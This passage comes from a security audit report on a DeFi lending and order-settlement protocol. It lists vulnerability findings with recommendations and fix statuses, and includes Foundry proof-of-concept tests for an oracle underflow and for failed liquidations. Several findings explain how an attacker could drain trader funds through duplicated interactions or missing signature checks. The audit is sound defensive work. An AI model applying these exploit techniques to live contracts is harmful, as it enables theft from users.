contract MockRepository {
    mapping(address => bool) public isManager;

    function setManager(
        address account, bool status) external {
        isManager[account] = status;
    }

    function isManagerRole(
        address account) external view returns (bool) {
        return isManager[account];
    }
}

contract PoC_FundingRateOracle is Test {
    FundingRateOracle public oracle;
    MockFundingRateConsumer public consumer;
    MockRepository public repository;

    address public constant MANAGER = address(0x1);
    address public constant TEST_ASSET = address(0x2);
    string public constant TEST_TICKER = "TEST";

    function setUp() public {
        consumer = new MockFundingRateConsumer();
        repository = new MockRepository();
        oracle =
            new FundingRateOracle(address(consumer), address(repository));

        repository.setManager(MANAGER, true);
    }

    // @audit This test demonstrates that a negative
    // funding rate causes an underflow in the oracle contract.
    function test_negativeFundingRateUnderflow() external {
        vm.prank(MANAGER);
        oracle.addAsset(TEST_ASSET, TEST_TICKER);

        int256 expectedRate = -1000;
        consumer.setRate(TEST_TICKER, expectedRate);
```

```
        uint256 rate = oracle.getFundingRate(TEST_ASSET);
        assertNotEq(rate, uint256(-expectedRate));
    }
}
```

Recommendation

We recommend converting **int256** to **uint256** with a safety check that the rate is greater than `type(int256).min`.

Client's commentary

> MixBytes: Partially fixed. In `FundingRateConsumer.fulfillRequest()`, a revert occurs due to incorrect decoding. The response returns int256, while uint256 is expected.
> MixBytes: Changes have been implemented, however, the `InterestRateModel.calculateCurrentInterestRate()` function still has a potential issue. The parameter `_c.r1` can take negative values. Later, `_c.r1` is cast to uint256, causing a silent underflow. This results in unexpected behavior, as the negative value is converted into a large positive number during the cast.
> MixBytes: Changes have been implemented, however, the is a risk of a revert if `uint256(-_c.r1) < ((_c.r2 * excessBorrowUsageRatio) / DP)` on line InterestRateModel.sol#L173
> or
> `(_c.r0 * (_c.uopt - u)) < uint256(-_c.r1) * u` on line InterestRateModel.sol#L178

H-2	Duplicate interactions
Severity	High
Status	Fixed in 6100e3f6

Description

The `validateInteractions()` function in the Signing.sol#L109 is designed to verify the validity of `_interactions` before execution. However, a vulnerability exists where an attacker can deduct tokens from a user multiple times by duplicating the same interaction within the `_interactions` array.

The function includes a check:

```
if (amount != _order.baseTokenData.toSupply) revert InvalidAmount();
```

This condition ensures that the `amount` matches the signed value `_order.baseTokenData.toSupply`. However, it does not account for duplicated interactions. By repeating an interaction, an attacker can increase the total `amount`, causing more tokens to be deducted from the user than intended.

Recommendation

We recommend revising the `validateInteractions` function to prevent such manipulations. Specifically, the function should:

- **Accumulate the Total Amount**: Sum the `amount` from all interactions and compare the cumulative total with `_order.baseTokenData.toSupply`. This ensures that the total tokens deducted align with the user's signed intent.
- **Prevent Duplicate Interactions**: Implement checks to detect and reject duplicated interactions within the `_interactions` array.

H-3	Lack of trader signature validation allows unauthorized fund transfers
Severity	High
Status	Fixed in 85c1eb77

Description

In the current implementation of `LiquoriceSettlement.settle()`, the signature of the `effectiveTrader` (the trader) is not validated during the order settlement process. The code only verifies the maker's signature using the condition `if (!AUTHENTICATOR.isMaker(_signer)) revert NotMaker();` (LiquoriceSettlement.sol#L68). As a result, `_signer` is assumed to be the maker, and the trader's consent is not confirmed through a signature.

Since traders must approve the `BalanceManager` contract to manage their tokens before creating an order, a malicious maker can exploit this oversight. The maker can unilaterally create orders that transfer funds from the trader to themselves without the trader's authorization, effectively allowing them to siphon off the trader's funds.

Recommendation

We recommend to mitigate this vulnerability, it is essential to validate the signature of the `trader` in addition to that of the `maker` during the order settlement process. Implementing the ERC-1271 standard for signature validation can enhance security by allowing for more robust and flexible signature verification mechanisms, including support for smart contract wallets.

Client's commentary

> MixBytes: There is a case where, for example, Maker1 gives approval to BalanceManager, and after that, Maker2 creates a fake order where Maker1 is specified as the trader and drains the entire allowance of Maker1 in exchange for 1 wei. To avoid this, one solution could be to verify not only the maker's signature but also the signature of the effective trader for the specific order.

H-4	Insufficient parameter validation in `validateInteractions()`
Severity	High
Status	Fixed in 6100e3f6

Description

- Signing.sol#L109

The `validateInteractions` function in the `Signing` contract does not sufficiently check parameters related to token transfers. Specifically, it fails to verify who will be transferring tokens. For example, during a `repay` operation, the `_repayer` parameter isn't validated, and in a `supply` operation, the `depositor` parameter goes unchecked.

Since different users approve tokens to the `LendingPool`, this lack of validation can be exploited. An attacker could specify arbitrary addresses for these parameters, enabling unauthorized token withdrawals through the `LendingPool` and potentially leading to financial losses.

For example, methods marked as `onlySettlement` are vulnerable because the `repayer` or `depositor` can be specified as `address(this)`. Here's an illustration:

```
// Note: _depositor == address(this)
ERC20(_asset).safeTransferFrom(_depositor, address(this), _amount);
```

It may allow for the usage of tokens that are in the `LendingPool`.

Recommendation

We recommend adding strict validation for all parameters in `validateInteractions`.

H-5	Solver can bypass maker signature verification
Severity	High
Status	Fixed in 14b837f7

Description

In the `LiquoriceSettlement.settleSingle()` function, the `Signing.validateSignature()` function attempts to recover the signature. If it fails, it checks that the **isMaker** value is set to false. However, by default, in `Signing.validateOrder()`, **isMaker** is set to true. As a result, any signature can be passed, and the check will be skipped. This allows solver to execute poisoned transactions via `LiquoriceSettlement.settleSingle()`.

Recommendation

We recommend changing the condition and ensuring that the signature is properly validated, reverting the process when the signature is not valid.

H-6	Inability to liquidate non-locked collateral in LendingPool
Severity	High
Status	Fixed in 8c12a559

Description

Argument `isLockedCollateral` was removed from the function `LendingPool.liquidate()`, making it impossible to liquidate non-locked collateral:

```
function liquidate(
    address _user,
    LiquidateParams[] memory _withdrawalParams,
    LiquidateParams[] memory _repayParams,
    bytes memory _receiverData
)
```

LendingPool.sol#L278-L283

Recommendation

We recommend restoring the argument `isLockedCollateral` in liquidation functions.

2.3 Medium

M-1	Broken partial liquidations
Severity	Medium
Status	Fixed in 14b837f7

Description

The `LendingPool` allows for partial liquidation of borrowers by passing limited values (`_withdrawal[i].amount != type(uint).max`) to the `liquidate()` function. These values are used twice in `_withdrawAsset()`—to withdraw both locked and unlocked assets:

```
function _liquidation {
    ...
    _withdrawAsset(
        _withdrawal[i].asset,
        _withdrawal[i].amount,
        _borrower,
        true,
        protocolLiquidationFee);

    _withdrawAsset(
        _withdrawal[i].asset,
        _withdrawal[i].amount,
        _borrower,
        false,
        protocolLiquidationFee);
}
```

This call will revert if the user has mismatched amounts of locked and unlocked collateral.

Test that illustrates this issue.
To run the test:

1. Put the code into IntegrationLiquidationLogic.sol file.
2. Run `forge t --mt test_BorrowerCantBeLiquidatedWithSpecificAmountIfOneOfCollateralZero -vv` in the CLI.

```
function test_BorrowerCantBeLiquidated() external {
    vm.startPrank(owner);
    AllowListAuthentication auth = new AllowListAuthentication(
        address(repository)
    );
    LiquoriceSettlement settlement = new LiquoriceSettlement(
        auth,
        repository
    );
    repository.setSettlement(address(settlement));
    auth.addMaker(borrower);
    vm.stopPrank();

    deal(DAI, borrower, 1_000_000e18);
    deal(DAI, supplier, 10_000e18);
    deal(WETH, supplier, 10_000e18);

    // other user supplies not locked collateral to lendingPool
    _fillThePool();

    vm.startPrank(supplier);
    // supplier approves tokens to lending pool
    IERC20(DAI).approve(address(lendingPool), 150e18);
    IERC20(WETH).approve(address(lendingPool), 100e18);

    // supplier supplies locked WETH collateral
    lendingPool.supply(WETH, 100e18, true);
    // supplier supplies locked DAI collateral
    lendingPool.supply(DAI, 100e18, true);

    // supplier supplies not locked DAI collateral
    lendingPool.supply(DAI, 50e18, false);
    vm.stopPrank();

    vm.startPrank(borrower);
    // borrower approves tokens to lending pool
    IERC20(DAI).approve(address(lendingPool), type(uint256).max);
    // borrower supplies locked DAI collateral
    lendingPool.supply(DAI, 50e18, true);

    // borrower borrows WETH
    lendingPool.borrow(WETH, 20e18);
    vm.stopPrank();

    vm.prank(address(lendingPool));
    rateModel.getInterestRateAndUpdate(WETH);

    vm.prank(address(lendingPool));
    rateModel.getInterestRateAndUpdate(DAI);

    (uint256 borrowerLtvBefore, ) =
        lendingPool.getUserLTV(borrower);
    assertEq(borrowerLtvBefore, 4e17);
```

```
    assertEq(lendingPool.isSolvent(borrower), true);

    assertEq(mockPriceProviderRepository.getPrice(WETH), 1e18);

    // price of WETH has increased
    mockPriceProviderRepository.setAssetPrice(WETH, 2.27e18);
    assertEq(mockPriceProviderRepository.getPrice(WETH), 2.27e18);

    (uint256 borrowerLtvAfter, uint256 liquidationThreshold) =
        lendingPool.getUserLTV(borrower);
    assertEq(borrowerLtvAfter, 908e15);
    assertTrue(borrowerLtvAfter > liquidationThreshold);

    // borrower is liquidatable now
    assertEq(lendingPool.isSolvent(borrower), false);
    assertNotEq(borrowerLtvBefore, borrowerLtvAfter);

    LendingPool.AssetState memory stateOfDAI =
        lendingPool.getAssetState(DAI);
    assertEq(stateOfDAI.collateralToken.balanceOf(borrower), 0);
    assertEq(stateOfDAI.lockedCollateralToken.balanceOf(borrower), 50e18);

    LendingPool.LiquidateParams[] memory withdrawal =
        new LendingPool.LiquidateParams[](1);
    withdrawal[0].asset = DAI;
    withdrawal[0].amount = 50e18;

    LendingPool.LiquidateParams[] memory repay =
        new LendingPool.LiquidateParams[](1);
    repay[0].asset = WETH;
    repay[0].amount = 20e18;

    // give 20e18 WETH to liquidator, so it can liquidate
    deal(WETH, address(simpleLiquidator), 20e18);
    assertEq(IERC20(WETH).balanceOf(address(simpleLiquidator)), 20e18);
    assertEq(IERC20(DAI).balanceOf(address(simpleLiquidator)), 0);

    LendingPool.AssetState memory stateOfWETH =
        lendingPool.getAssetState(WETH);
    assertEq(stateOfWETH.totalBorrowAmount, 20e18);

    // revert is happening due to borrow has no unlocked collateral.
    vm.expectRevert();
    simpleLiquidator.executeLiquidation(
        borrower,
        withdrawal,
        repay,
        lendingPool
    );

    // liquidator failed to repay
    assertEq(IERC20(WETH).balanceOf(address(simpleLiquidator)), 20e18);

    // liquidator received nothing
```

```
    assertEq(IERC20(DAI).balanceOf(address(simpleLiquidator)), 0);

    // borrower still liquidatable
    assertEq(lendingPool.isSolvent(borrower), false);
}
```

Recommendation

We recommend passing separate arrays for the liquidations of locked and unlocked collateral.

Client's commentary

> MixBytes: The variable `receivedCollaterals` in the `_liquidation()` function is set on line 1 but gets overwritten on line 2.
> Line 1: LendingPool.sol#L695
> Line 2: LendingPool.sol#L707

M-2	Borrowing beyond `MaximumLTV`
Severity	Medium
Status	Fixed in 6100e3f6

Description

`LendingPool.borrow()` has a limit up to `TypeofLTV.MaximumLTV` (set at `80%` in the project tests). However, `LendingPool.withdraw()` allows withdrawals up to `TypeofLTV.LiquidationThreshold` (set at `90%` in the tests).

An attacker could call `borrow() + withdraw()` in a single transaction to effectively borrow up to `TypeofLTV.LiquidationThreshold`, bypassing the `MaximumLTV` limit.

Recommendation

We recommend using the same LTV threshold for both `borrow()` and `withdraw()`.

M-3	Protocol liquidation fee may exceed LTV liquidation gap
Severity	Medium
Status	Fixed in 14b837f7

Description

`Repository.setFees()` allows setting `protocolLiquidationFee > 100% - LiquidationThreshold`, making any liquidation unprofitable and potentially leading to bad debt accumulation.

Recommendation

We recommend checking the relationship between `protocolLiquidationFee` and `LiquidationThreshold` when setting these parameters. The sum of the `protocolLiquidationFee` and the asset's liquidation LTV threshold must always be less than 100%.

Client's commentary

> MixBytes: At the moment, it is still possible to set `protocolLiquidationFee` greater than the liquidation gap if a valid `protocolLiquidationFee` is set initially, and then the liquidation gap is reduced either for a specific asset or globally in `defaultConfig` via the `setLiquidationThreshold()` function.

M-4	No supply limit check in `LendingPool.borrowFor()`
Severity	Medium
Status	Fixed in 6100e3f6

Description

LendingPool.sol#L160 allows users to supply funds without checking the supply limit.

LendingPool.sol#L563-L571

Recommendation

We recommend implementing a supply limit check.

M-5	Wrong LTV calculation for duplicate assets
Severity	Medium
Status	Fixed in 6100e3f6

Description

If a manager passes two identical assets when calling `Repository.newLendingPool()`, the pool will be created with an incorrect asset count, and the Loan-to-Value (LTV) calculation will be incorrect, potentially leading to user funds loss.

Recommendation

We recommend checking for unique asset addresses when creating the pool.

M-6	Loss of accrued interest on updating InterestRateModel
Severity	Medium
Status	Fixed in 6100e3f6

Description

When the `InterestRateModel` is changed for the `LendingPool` in the `Repository`, `LendingPool._accrueInterest()` is not automatically called, which could lead to a loss of accrued interest for both borrowers and suppliers.

Recommendation

We recommend accruing interest for the old `InterestRateModel` before updating it.

M-7	No pause check in several LendingPool functions
Severity	Medium
Status	Fixed in 6100e3f6

Description

Some methods in `LendingPool` lack checks to verify whether the contract is paused. In case of an emergency, calling these methods could pose a risk:

- LendingPool.sol#L144.
- LendingPool.sol#L150.
- LendingPool.sol#L183.

Recommendation

We recommend adding pause checks for the functions listed above.

M-8	Potential unhandled exception due to out-of-bounds array access
Severity	Medium
Status	Fixed in 14b837f7

Description

In the `FundingRateConsumer.sol` contract, specifically at FundingRateConsumer.sol#L22, there is a potential unhandled exception when processing the `sortedRates` array retrieved from `open-api-v3.coinglass.com`. If the length of `sortedRates` is `1` or less, the following computation causes an error:

```
const fundingRate =
      Math.ceil(
          sortedRates[Math.ceil(sortedRates.length / 2)] * 1e18
      );
```

Here, `Math.ceil(sortedRates.length / 2)` returns `1` when `sortedRates.length` is `1` (since `Math.ceil(1 / 2) == 1`). This results in an attempt to access `sortedRates[1]`, which is out of bounds for an array of length `1` (as array indices start at `0`).

Recommendation

Implement a validation check to ensure that the `sortedRates` array has a length greater than `1` before attempting to access its elements using computed indices. If the array length is insufficient, handle the scenario gracefully by providing a default value, skipping the computation, or reverting the transaction with a clear and descriptive error message to prevent unexpected runtime exceptions.

Client's commentary

> MixBytes: The case when `sortedRates.length === 1` is not handled.

M-9	The trader's signature is not considered in nonce
Severity	Medium
Status	Fixed in 14b837f7

Description

In the `_invalidateOrderNonce` method of the `Signing` contract (Signing.sol#L191), the `_nonces` mapping is set using `_trader`. It is expected that the `trader` should be able to cancel their order via the `cancelLimitOrder` function. However, since the current implementation does not incorporate the `trader`'s signature into the order's signature, the `cancelLimitOrder` function cannot protect the user from another nonce. This omission allows an unauthorized party to potentially reuse a nonce, making it impossible for the `trader` to effectively cancel the order.

Recommendation

We recommend modifying the implementation to include the `trader`'s signature in the order's signature verification process.

Client's commentary

> MixBytes: In the new `settleSingle()` function, the maker's nonce is invalidated twice on different lines, while the taker's nonce is not taken into account.
>
> 1. Signing.sol#L471
> 2. Signing.sol#L497

M-10	Missing signature validation in `Order` structure
Severity	Medium
Status	Fixed in 6100e3f6

Description

In the `Signing` contract, the `Order` structure includes the fields `baseTokenData.toRecipient` and `quoteTokenData.toTrader`. These fields are currently ignored in the signature verification process. They are not included in the data that is signed, meaning they can be altered without invalidating the signature.

Recommendation

We recommend including `baseTokenData.toRecipient` and `quoteTokenData.toTrader` in the order's signature. If these fields are intended to be specified at the time of calling `LiquoriceSettlement.settle`, it is advisable to explicitly pass them as arguments to the method.

M-11	Missing validation on `_hooks` in settlement contract
Severity	Medium
Status	Fixed in 6100e3f6

Description

- LiquoriceSettlement.sol#L65

In the `LiquoriceSettlement.sol` contract, the `settle` function calls `validateOrder()`, which performs necessary checks on the `_interactions` variable. These checks include validations that ensure secure interactions with the `LendingPool`, as seen in the Signing.sol#L100.

However, the `_hooks` parameter in `settle()` is not subjected to the same validation process. This omission allows an attacker to bypass the `_interactions` checks by leveraging the `_hooks` parameter. As a result, the attacker can circumvent critical validations intended to secure the contract's operations, potentially leading to unauthorized actions or exploitation of the `LendingPool`.

Recommendation

We recommend to add validation checks for the `_hooks` parameter within the `settle` method, analogous to those applied to `_interactions`.

M-12	Inability to liquidate at high utilization
Severity	Medium
Status	Fixed in 8c12a559

Description

The liquidation function reverts if there aren't enough funds in the pool to perform the transfer:

```
function _liquidation
    ...
    (uint256 withdrawnLockedAmount, uint256 lockedAmountToTransfer,) =
    _withdrawAsset(
        _withdrawal[i].asset,
        _withdrawal[i].amount,
        _borrower,
        true,
        protocolLiquidationFee);

  (uint256 withdrawnAmount, uint256 amountToTransfer,) =
    _withdrawAsset(
        _withdrawal[i].asset,
        _withdrawal[i].amount,
        _borrower,
        false,
        protocolLiquidationFee);

    ERC20(_withdrawal[i].asset).safeTransfer(
        _liquidator,
        lockedAmountToTransfer + amountToTransfer);
```

LendingPool.sol#L667

This can lead to bad debt accumulation. For example, consider a scenario with assets WETH and WBTC. One whale borrows almost all the WETH against WBTC, while another borrows nearly all the WBTC against WETH. Now, both pools lack enough funds for a complete liquidation of both whales. If one of the assets rapidly loses value, no one will be able to liquidate the unhealthy whale, and at some point the level of bad debt will reach an unprofitable threshold for liquidators.

Recommendation

We recommend adding an option to receive the liquidated user's `CollateralToken` instead of transferring the underlying asset.

Client's commentary

> Client: We are not sure that receiving collateral tokens by liquidators is a desired behavior
> MixBytes: We propose adding this as an option. Without such an option, the risk of accumulating bad debt increases because, in cases of high utilization, the `_liquidation()` function will not be able to send the underlying asset to the liquidator (because it is all borrowed) and will revert. However, if the liquidator can specify a flag indicating they want to receive the collateral token instead of the underlying asset, the function will not revert, as there is always a sufficient amount of the collateral token (it can be directly deducted from the bad borrower's account).
> MixBytes: The vulnerability was supposed to be fixed in commit 85c1eb77f404b0421bd3d1bdec548085006a3945. However, the fix introduced a new vulnerability (H-6) and will be reverted. Therefore, we are keeping this finding open.

M-13	Taker incurs losses when `SingleQuote.useOldAmount` is set to `true`
Severity	Medium
Status	Fixed in 14b837f7

Description

When **SingleQuote.useOldAmount** set to `true` and **SingleQuote.makerAmount** less than **Single.makerAmount** anyone can call `LiquoriceSettlement.settleSingle()`, as a result trader will receive less tokens. Although this requires the taker to sign such a quote, the process functions incorrectly, potentially causing losses for the taker.

Recommendation

We recommend implementing checks for such cases to prevent the trader from receiving fewer tokens than expected, allowing only for extra profit.

M-14	`LiquoriceSettlement.settle()` does not check for upper bound when using SolverData
Severity	Medium
Status	Fixed in 85c1eb77

Description

When a trader has a non-zero allowance to the BalanceManager contract, the Solver can set **SolverData.curFillAmount** to a value greater than **quoteTokenData.toTrader**. As a result, the trader will spend more of token A and receive more of token B than expected. This behavior may be unexpected for the trader.

Recommendation

We recommend implementing an upper-bound check for **makerFilledAmount**, similar to the approach used in `LiquoriceSettlement.settleSingle()`.

Client's commentary

> MixBytes: An upper-bound check has been implemented, but there is still a potential issue in the `LiquoriceSettlement.settle()` function. If `_solverData.curFillAmount > 0`, the **makerFilledAmount** can take an arbitrary value. This causes the following problems: the **effectiveTrader** will transfer a value to the recipient (specified by `_order.baseTokenData.toRecipient`), as expected.
> However, the `_signer` will transfer **makerFilledAmount** to the trader, which may exceed the expected amount in the order.

M-15	`Repository.setLiquidationThreshold()` can unexpectedly change the global `defaultConfig.liquidationThreshold` when setting an isolated threshold for a specific asset.
Severity	Medium
Status	Fixed in 14b837f7

Description

When changing the threshold for a specific asset, the threshold for all default tokens may also change in a way that is unfavorable for the protocol:

- Repository.sol#L288-L290

This can lead to bad debt if volatile tokens are assigned a high threshold.

The higher the liquidation threshold for an asset, the later users will be liquidated. As a result, if there are two assets—one low-volatility and one high-volatility—and the high-volatility asset uses the default config, then a reasonable increase in the threshold for the low-volatility asset will also increase the threshold for the high-volatility asset. This may be unexpected for the manager and could lead to the accumulation of bad debt.

Recommendation

We recommend modifying the default liquidation threshold only via a dedicated function.

Additionally, to prevent centralization risks, we also recommend setting a constant minimum liquidation threshold so that the admin cannot set it to 0 and liquidate all participants.

2.4 Low

L-1	`LendingPool.harvestProtocolFees()` does not call `LendingPool._accrueInterest()`
Severity	Low
Status	Fixed in 6100e3f6

Description

The function `LendingPool.harvestProtocolFees()` does not update accrued interest.

LendingPool.sol#L183-L195

Recommendation

We recommend adding a call to `LendingPool._accrueInterest()` to ensure the state is up-to-date when interacting with fees.

L-2	`_lendingPools` mapping slot 0 is overwritten every time a new pool is created
Severity	Low
Status	Fixed in 14b837f7

Description

When a new lending pool is created, its address is set in the `_lendingPools` mapping with `createdPoolId` as the key. However, `createdPoolId` is zero, causing the slot to be overwritten each time:

```
uint32 createdPoolId = _lastLendingPool++;
...
_lastLendingPool = createdPoolId;
```

Repository.sol#L163

Recommendation

We recommend avoiding overwriting `_lastLendingPool` with zero after populating the `_lendingPools` mapping.

Client's commentary

> Client: Didn't get what was meant. It only happens once on the first ever market creation, then it is 0. All future cases are non-zero
> MixBytes: The problem is that `_lastLendingPool` is incremented and then immediately set to zero. As a result, the `_lendingPools` mapping will always store addresses under the key `0`. See the commentary:

```
function newLendingPool(...) ... {

    uint32 createdPoolId = _lastLendingPool++;
    // now:
    // createdPoolId == 0
    // _lastLendingPool == 1

    ...

    // equiv. _lendingPools[0] = createdPool
    _lendingPools[createdPoolId] = createdPool;

    ...


    // remember, that createdPoolId == 0!
    // thus, the following line makes _lastLendingPool == 0 again:
    _lastLendingPool = createdPoolId;

    ...
}
```

L-3	Fees can be set up to 99.99%
Severity	Low
Status	Fixed in 14b837f7

Description

An admin currently has the ability to set fees up to **99.99%**. This introduces the risk of excessive fees that may discourage platform use and harm users.

Repository.sol#L310-L324

Recommendation

We recommend implementing a lower maximum fee boundary and introducing a gradual, time-based increase for fee values. This approach will help protect users from unexpected or excessively high fees and ensure a more predictable cost structure.

Client's commentary

> MixBytes: A recommendation was to lower the upper threshold from 100%, but it hasn't changed.

L-4	`InterestRateModel.getCurrentInterestRate()` returns a non-zero value for `address(0)`
Severity	Low
Status	Fixed in 6100e3f6

Description

`LendingPool.assetUtilizationData` returns an empty struct when the asset address is **address(0)**.

`InterestRateModel.getCurrentInterestRate()` calculates the delta between the current timestamp and data.interestTimestamp. As a result, the delta is computed as **block.timestamp - 0**, leading to a non-zero `rcur` value.

InterestRateModel.sol#L139

Recommendation

We recommend returning zero when **data.interestTimestamp** is zero.

L-5	Return value not checked
Severity	Low
Status	Fixed in 6100e3f6

Description

Return value of `PriceProvider._setHeartbeat()` not checked.

PriceProvider.sol#L129

Recommendation

We recommend checking the return value.

L-6	Unused errors
Severity	Low
Status	Fixed in 6100e3f6

Description

The following errors are unused:

- PriceProvider.sol#L71
- FundingRateOracle.sol#L18
- InterestRateModel.sol#L51
- Signing.sol#L39-L40
- AllowListAuthentication.sol#L33

Recommendation

We recommend removing or using these errors.

L-7	Use of `transfer()` method is not recommended
Severity	Low
Status	Fixed in 6100e3f6

Description

The `UniversalERC20.sol` contract uses the `transfer()` method in several places:

- UniversalERC20.sol#L22
- UniversalERC20.sol#L38
- UniversalERC20.sol#L41

Recommendation

We recommend using the `call` method along with the checks-effects-interactions pattern.

L-8	No check for Arbitrum sequencer when handling prices
Severity	Low
Status	Fixed in 14b837f7

Description

Since contracts will be deployed on Arbitrum, it's essential to ensure price reliability when the Arbitrum Sequencer is down. However, `PriceProvider.sol` currently lacks a check for the sequencer's operational status, which may lead to inaccurate pricing or service disruptions in such events.

PriceProvider.sol#L335

Recommendation

We recommend implementing logic to check the sequencer's status. See the Chainlink documetation for example code.

Client's commentary

> MixBytes: Partially fixed. It is also necessary to add checks for `startedAt != 0`.

L-9	Signature validation is not EIP712 compliant
Severity	Low
Status	Acknowledged

Description

The `Signing` contract does not fully comply with the EIP-712 standard for structured data hashing and signing.

- The current implementation lacks a standardized domain separator and proper TYPE_HASH integration, making the signature validation process more vulnerable to replay attacks and signature reuse.
- The `Signing.hashOrder()` and `Signing.hashSingleOrder()` functions do not enforce strict differentiation between the order types.
  The same signature can potentially be reused across both functions, as their struct names and corresponding TYPE_HASH values are not unique.

Recommendation

We recommend implementing EIP-712 standart.

- Inherit from OpenZeppelin's EIP712 contract to ensure full compliance with the standard.
- Implement unique struct definitions and hash logic for each function (`Signing.hashOrder()` and `Signing.hashSingleOrder()`).

Client's commentary

> MixBytes:
> There are two differences from the **EIP-712** standard:
>
> 1. Strings are recommended to be encoded as:
>
>    ```
>    keccak256(bytes("string"))
>    ```
>
>   However, Liquorice implementation uses:
>
>    ```
>    keccak256(abi.encode(_order.rfqId))
>    ```
>
> 2. **Type hash** does not include argument names.

For example, Liquorice implementation define:

```
bytes32 private constant _SETTLE_ORDER_TYPED_HASH = keccak256(
    'Order(string,uint256,address,...)'
);
```

But according to the standard, it should include argument names, such as:

```
...Order(string name, uint256 amount, address owner, ...)...
```

L-10	Overflow is possible when calculating `timeWeightedAverageTick` value.
Severity	Low
Status	Fixed in 6100e3f6

Description

The variable **tickCumulativesDelta** is of type **int56**, which may overflow when cast to **int32** if its value exceeds **type(int32).max**.

This overflow scenario could lead to incorrect calculations or unintended contract behavior.

UniswapPriceProviderV3.sol#L329

Recommendation

We recommend using the **SafeCast** library from **OpenZeppelin** to prevent overflow and underflow issues.

L-11	Potential invalid data injection due to external API dependency in FundingRateOracle
Severity	Low
Status	Acknowledged

Description

- FundingRateConsumer.sol#L88

The `FundingRateOracle` contract is marked as `immutable`, emphasizing the necessity for its components to function reliably over time. It depends on the external `coinglass` API to retrieve funding rates. If `coinglass` modifies its API endpoints or response formats, or if it becomes unresponsive, there's a risk that invalid or outdated data could be inserted into the `rates` array within the contract.

Recommendation

Enhance the `FundingRateOracle.getFundingRate` method to include rigorous validation checks. These should verify that the retrieved data is within predefined minimum and maximum acceptable values and confirm the data's timestamp to ensure its relevance and timeliness.

L-12	Manager self-reassignment in `setManager`
Severity	Low
Status	Fixed in 6100e3f6

Description

- AllowListAuthentication.sol#L55

The `setManager` function in the `AllowListAuthentication` contract allows only the current manager to assign a new manager due to the `onlyManager` modifier:

```
function setManager(
    address manager_
) external override onlyManager {
    address oldManager = manager;
    manager = manager_;
    emit ManagerChanged(manager_, oldManager);
}
```

Recommendation

We recommend modifying the `setManager` function to allow an administrator to set the manager.

L-13	Invalid length check on `bytes32` parameter in the constructor
Severity	Low
Status	Fixed in 6100e3f6

Description

In the constructor of the `FundingRateConsumer` contract, an invalid check is performed on the `_donId` parameter:

```
if (_donId.length == 0) revert DonIdNotValid();
```

The `_donId` parameter is of type `bytes32`, which is a fixed-size byte array with a length of 32 bytes. As a result, the condition `_donId.length == 0` will always evaluate as `false`.

Recommendation

We recommend removing the invalid length check on `_donId` in the constructor.

L-14	`Signing.hashSingleOrder()` does not use `block.chainId` when verifying signatures
Severity	Low
Status	Fixed in 14b837f7

Description

The `Signing.hashSingleOrder()` function fails to incorporate **block.chainId** when verifying signatures. This omission allows for the replayability of signatures across different blockchain networks, which could lead to security vulnerabilities.

Recommendation

We strongly recommend utilizing OpenZeppelin's libraries for signature verification, as they dynamically reference the current chainId and effectively prevent replay attacks.

L-15	Wrong rounding
Severity	Low
Status	Fixed in 14b837f7

Description

In the following code:
LendingPool.sol#L740-L743

1. The if-block is redundant because this case is already handled in `_calculateDebtAmountAndShare()`.
2. Unlike `_calculateDebtAmountAndShare()`, the max case here is calculated incorrectly (assets are taken with rounding down). In `_calculateDebtAmountAndShare()`, assets are correctly rounded up.

Recommendation

We recommend removing this block.

L-16	EffectiveTrader's nonce is not always invalidated
Severity	Low
Status	Fixed in 8c12a559

Description

In the following code:

```
function _validateTakerSignatureForSingleOrder(...) internal {
    if (msg.sender != _order.effectiveTrader) {
      validateSignature(
          _order.effectiveTrader,
          hashSingleOrder(_order),
          _takerSignature
      );
      _invalidateSingleOrderNonce(
        _order.effectiveTrader,
        _order.nonce
      );
    }
}
```

Signing.sol#L458-L467

The nonce of the taker is invalidated only if the transaction is executed by someone other than the taker. This creates room for human error, where a transaction is created with a valid signature but executed by the taker. As a result, the signature remains valid, and someone could potentially execute the order a second time in the future.

Recommendation

We recommend checking that the signature is empty in the case where `msg.sender == _order.effectiveTrader`.

Client's commentary

> MixBytes comment: check out the lines
>
> 1. Signing.sol#L510-L514
> 2. Signing.sol#L542-L546

3. ABOUT MIXBYTES

MixBytes is a team of blockchain developers, auditors and analysts keen on decentralized systems. We build opensource solutions, smart contracts and blockchain protocols, perform security audits, work on benchmarking and software testing solutions, do research and tech consultancy.

Contacts

https://github.com/mixbytes/audits_public

https://mixbytes.io/

hello@mixbytes.io

https://twitter.com/mixbytes